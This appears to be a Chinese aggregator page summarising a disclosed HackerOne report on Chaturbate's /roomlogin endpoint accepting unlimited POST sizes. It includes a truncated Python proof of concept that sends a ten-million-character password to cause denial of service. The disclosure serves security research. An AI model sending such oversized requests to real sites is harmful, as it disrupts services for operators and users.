Unrestricted POST request size on roomlogin endpoint
该报告还没有中文解读。
原文摘录
摘自原文(1526 字符中的一小部分)
POST requests to endpoint `/roomlogin/<user>` are not limited in size. While the main website login endpoint correctly limits the size of request, this endpoint does not. This can be a mean to perform a DOS attack.
原文中的代码
import requests
url = "https://it.chaturbate.com/roomlogin/█████/"
csrf = "███████"
password_size = 10 * 1000 * 1000
payload = {'password': 'a' * password_size, 'next': '/████/', 'csrfmiddlewaretoken' : csrf}
s = requests.Session()
s.headers.update({'referer': url})
s.cookies.set("csrftoken", …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Chaturbate 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @lucach · 版权归作者与 Chaturbate 所有